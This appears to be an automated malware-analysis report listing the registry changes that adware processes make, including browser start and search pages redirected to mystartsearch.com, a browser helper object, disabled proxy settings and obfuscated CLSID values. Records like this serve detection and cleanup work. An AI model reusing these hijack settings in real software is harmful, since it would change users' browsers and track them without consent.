The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 55 00 00 00 09 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\IHProtect]
"ptid" = "smt"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"
"AutoDetect"

The process ProtectService.exe:1404 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 06 00 00 00 09 00 00 00 00 00 00 00"

Proxy settings are disabled:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"
"AutoConfigURL"
"ProxyServer"

The process BaofengUpdate.exe:3172 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Classes\Local Settings\MuiCache\29\52C64B7E]
"LanguageList" = "en-US, en"

[HKCU\Software\Mozilla\Extends]
"AppID" = "[email protected]"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\SearchScopes]
"DefaultScope" = "{33BB0A4E-99AF-4226-BDF6-49120163DE86}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN]
"Search Page" = "http://www.mystartsearch.com/web/?type=ds&ts=1423540773&from=smt&uid=535559167_198339_B48A115F&q={searchTerms}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"URL" = "http://www.mystartsearch.com/web/?type=ds&ts=1423540773&from=smt&uid=535559167_198339_B48A115F&q={searchTerms}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN]
"Default_Search_URL" = "http://www.mystartsearch.com/web/?type=ds&ts=1423540773&from=smt&uid=535559167_198339_B48A115F&q={searchTerms}"

[HKLM\SOFTWARE\Clients\StartMenuInternet\FIREFOX.EXE\shell\open\command]
"(Default)" = "%Program Files% (x86)\Mozilla Firefox\firefox.exe http://www.mystartsearch.com/?type=sc&ts=1423540773&from=smt&uid=535559167_198339_B48A115F"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\mystartsearch uninstall]
"DisplayName" = "mystartsearch uninstallÃ¯Â¨â‚¬Ã¯Â¿Â¿Ã‰â€ž"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"DisplayName" = "mystartsearch"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"URL" = "http://www.mystartsearch.com/web/?type=ds&ts=1423540773&from=smt&uid=535559167_198339_B48A115F&q={searchTerms}"

[HKCU\Software\Mozilla\Extends]
"UID" = "535559167_198339_B48A115F"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN]
"Start Page" = "http://www.mystartsearch.com/?type=hp&ts=1423540773&from=smt&uid=535559167_198339_B48A115F"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Main]
"Default_Search_URL" = "http://www.mystartsearch.com/web/?type=ds&ts=1423540773&from=smt&uid=535559167_198339_B48A115F&q={searchTerms}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN]
"Default_Page_URL" = "http://www.mystartsearch.com/?type=hp&ts=1423540773&from=smt&uid=535559167_198339_B48A115F"

[HKLM\SOFTWARE\Clients\StartMenuInternet\VMWAREHOSTOPEN.EXE\shell\open\command]
"(Default)" = "%Program Files%\VMware\VMware Tools\VMwareHostOpen.exe http://www.mystartsearch.com/?type=sc&ts=1423540773&from=smt&uid=535559167_198339_B48A115F"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\mystartsearch uninstall]
"UninstallString" = "C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\UninstallManager.exe -ptid=smt"

[HKLM\SOFTWARE\Wow6432Node\mystartsearchSoftware\mystartsearchhp]
"Time" = "Type: REG_QWORD, Length: 8"

[HKLM\SOFTWARE\Clients\StartMenuInternet\Google Chrome\shell\open\command]
"(Default)" = "%Program Files% (x86)\Google\Chrome\Application\chrome.exe http://www.mystartsearch.com/?type=sc&ts=1423540773&from=smt&uid=535559167_198339_B48A115F"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes]
"DefaultScope" = "{33BB0A4E-99AF-4226-BDF6-49120163DE86}"

[HKLM\SOFTWARE\Clients\StartMenuInternet\IEXPLORE.EXE\shell\open\command]
"(Default)" = "%Program Files%\Internet Explorer\iexplore.exe http://www.mystartsearch.com/?type=sc&ts=1423540773&from=smt&uid=535559167_198339_B48A115F"

[HKLM\SOFTWARE\Wow6432Node\mystartsearchSoftware\mystartsearchhp]
"oem" = "smt"

[HKCU\Software\Microsoft\Internet Explorer\TabbedBrowsing]
"NewTabPageShow" = "1"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Main]
"Start Page" = "http://www.mystartsearch.com/?type=hp&ts=1423540773&from=smt&uid=535559167_198339_B48A115F"
"Search Page" = "http://www.mystartsearch.com/web/?type=ds&ts=1423540773&from=smt&uid=535559167_198339_B48A115F&q={searchTerms}"

[HKCU\Software\Microsoft\Internet Explorer\Main]
"Default_Page_URL" = "http://www.mystartsearch.com/?type=hp&ts=1423540773&from=smt&uid=535559167_198339_B48A115F"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\mystartsearch uninstall]
"Publisher" = "mystartsearch"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"URL" = "http://www.mystartsearch.com/web/?type=ds&ts=1423540773&from=smt&uid=535559167_198339_B48A115F&q={searchTerms}"
"DisplayName" = "mystartsearch"

[HKCU\Software\Microsoft\Internet Explorer\Main]
"Start Page" = "http://www.mystartsearch.com/?type=hp&ts=1423540773&from=smt&uid=535559167_198339_B48A115F"

[HKCU\Software\Mozilla\Extends]
"ptid" = "smt"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\SearchScopes]
"DefaultScope" = "{33BB0A4E-99AF-4226-BDF6-49120163DE86}"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Main]
"Default_Page_URL" = "http://www.mystartsearch.com/?type=hp&ts=1423540773&from=smt&uid=535559167_198339_B48A115F"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\mystartsearch uninstall]
"DisplayIcon" = "C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\UninstallManager.exe"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"DisplayName" = "mystartsearch"

[HKLM\SOFTWARE\Wow6432Node\Mozilla\Firefox\Extensions]
"[email protected]" = "C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]"

The process BaofengUpdate.exe:872 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"
"UNCAsIntranet" = "0"

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

The process YTAHelper.exe:3128 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"DBLocation" = "C:\ProgramData\YTAHelper"

[HKCU\Software\Microsoft\Internet Explorer\ApprovedExtensionsMigration]
"{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}" = "Type: REG_SZ, Length: 0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"CONFIGLOCATION" = "C:\ProgramData\YTAHelper"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "71 A9 EB F3 E5 44 D0 01"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Ext\PreApproved\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}]
"(Default)" = "Type: REG_SZ, Length: 0"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"UserId" = "e5f8ccfa-064a-4525-b909-9b89e346b6d9"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}]
"(Default)" = "YTAHelperBHO"
"NoExplore" = "1"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"YTAHEXELOCATION" = "%Program Files% (x86)\YTAHelper"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 48 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"Version" = "1.5.0.196"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"Aff" = "smtycl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Ext\CLSID]
"{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following registry key(s):

[HKCU\Software\Microsoft\Internet Explorer\ApprovedExtensionsMigration]

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process ProtectWindowsManager.exe:3984 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\System\CurrentControlSet\services\eventlog\Application\WindowsMangerProtect]
"EventMessageFile" = "C:\ProgramData\WindowsMangerProÃ£Â¿â€”Ã‰â€œ"
"TypesSupported" = "7"

The process ProtectWindowsManager.exe:816 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 05 00 00 00 09 00 00 00 00 00 00 00"

Proxy settings are disabled:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"
"AutoConfigURL"
"ProxyServer"

The process YouTubeAcceleratorService.exe:1680 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "04 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 C7 A5 44 A3"

The process YouTubeAcceleratorService.exe:1564 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "01 00 00 00"
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 C7 A5 44 A3"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceLevel" = "0"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\ProgID]
"(Default)" = "ADOX.Column.6.0"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\InProcServer32]
"ThreadingModel" = "Apartment"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{K7C0DB872A3F777C0}" = "F1 4F BB 11 FC 16 1F FF FF FF FF 64 22 18 AF D9"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\VersionIndependentProgID]
"(Default)" = "ADOX.Column.6.0"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"(Default)" = "ADOX.Column.6.0"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\InProcServer32]
"(Default)" = "%CommonProgramFiles%\System\ado\msadox.dll"

The Application deletes the following value(s) in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"0"

The process YouTubeAcceleratorService.exe:3980 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "07 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 C7 A5 44 A3"

The process YouTubeAcceleratorService.exe:820 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\fSXewhkfv]
"(Default)" = "_xYZQyJjWvnbINNKfg"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 04 00 00 00 09 00 00 00 00 00 00 00"

[HKU\.DEFAULT\Software\GOOBZO\YouTube Accelerator]
"LastUpdateTime" = "1423540768"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 C7 A5 44 A3"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TimeStamp" = "1423540771"

[HKCU\Software\Goobzo\YouTube Accelerator]
"SBAIDV" = "0"
"SBPIDV" = "0"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "09 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"LspVersion" = "1.0.0.1"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"
"WpadNetworkName" = "Network 3"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "64 69 A6 F5 E5 44 D0 01"

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]
"VA_Aff" = "NONE"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceFolder" = "C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\"
"TraceLevel" = "3"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"LSPTestSucceeded" = "1"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\uqmpybcjdI]
"(Default)" = "PLJVRQSlx|ab@_w}Yu`gBISI`@Ndl"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]
"XMLUpdateFailed" = "0"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "64 69 A6 F5 E5 44 D0 01"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\sehlsRMuplph]
"(Default)" = "}QJijLDlnGtvlM\Dtk]SLXGgt\li@u"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\cgcdxuSksc]
"(Default)" = "mA_vX[@|ipql`LRKtAe^~Eu"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Goobzo\YouTube Accelerator]
"SBAID" = "e5482312-2be3-46f2-b003-7761c59feba2"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TimeLimit" = "1"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceDestination" = "3"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\LdsE]
"(Default)" = "mncEDgoMD^EumhBjdoZir"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKCU\Software\Goobzo\YouTube Accelerator]
"SBAPW" = "oP5QhnYw"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]
"resver" = "1.0.0.8"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\pseKcc]
"(Default)" = "Mfem^RCh}|YQLf_tac[G@sC~Ezsm|"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"DefaultConnectionSettings" = "46 00 00 00 04 00 00 00 09 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TracerDoBackup" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]
"UpdateReason" = "0"
"XMLVersion" = "0"

[HKCU\Software\Goobzo\YouTube Accelerator]
"SBPPW" = "kt1ZkW7W"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\Uojvoqeov]
"(Default)" = "~xxV"

[HKCU\Software\Goobzo\YouTube Accelerator]
"SBPID" = "afe88cb7-8d54-4fb1-a659-909a345b04f7"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

Proxy settings are disabled:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following registry key(s):

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]

The Application deletes the following value(s) in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"Uojvoqeov"
"qvorsEtjxw"
"qvbbRNdMg"
"cgcdxuSksc"
"LdsE"
"fSXewhkfv"
"yxQHXfdfitoe"
"pxylOXnGwpXkz"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"jugyvwoEcjGw"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoDetect"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"sehlsRMuplph"
"wjxsvv"
"rffapxdttSchh"
"yEsrDTepOCs"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"hFLwn"
"DxOl"
"FdUXjkIpvn"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"qPacydvhduuR"
"MNEMOyZJWG"
"omdjT"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"uqmpybcjdI"
"pseKcc"

The process ins_postInst.exe:3104 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Classes\Local Settings\MuiCache\29\52C64B7E]
"LanguageList" = "en-US, en"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "BF 91 CD E9 E5 44 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 44 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MaxConnectionsPerServer" = "2"
"MaxConnectionsPer1_0Server" = "2"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "14 0F 96 EE E5 44 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "14 0F 96 EE E5 44 D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process Lexdja.exe:1140 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\AppDataLow\Software\Crossrider]
"Bic" = "504B5080F5604A4B9DFA4FB197512D8FIE"

[HKLM\SOFTWARE\Wow6432Node\Tempo]
"(Default)" = "tempo"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\App Lid\Installer]
"BundledFirefox" = "1"

[HKCU\Software\InstalledBrowserExtensions\25286\Status]
"Installed" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\App Lid]
"Publisher" = "Lid"

[HKLM\SOFTWARE\Wow6432Node\AppDataLow\Software\Crossrider]
"Verifier" = "02bca8db07d4973ae815b702cb828c08"

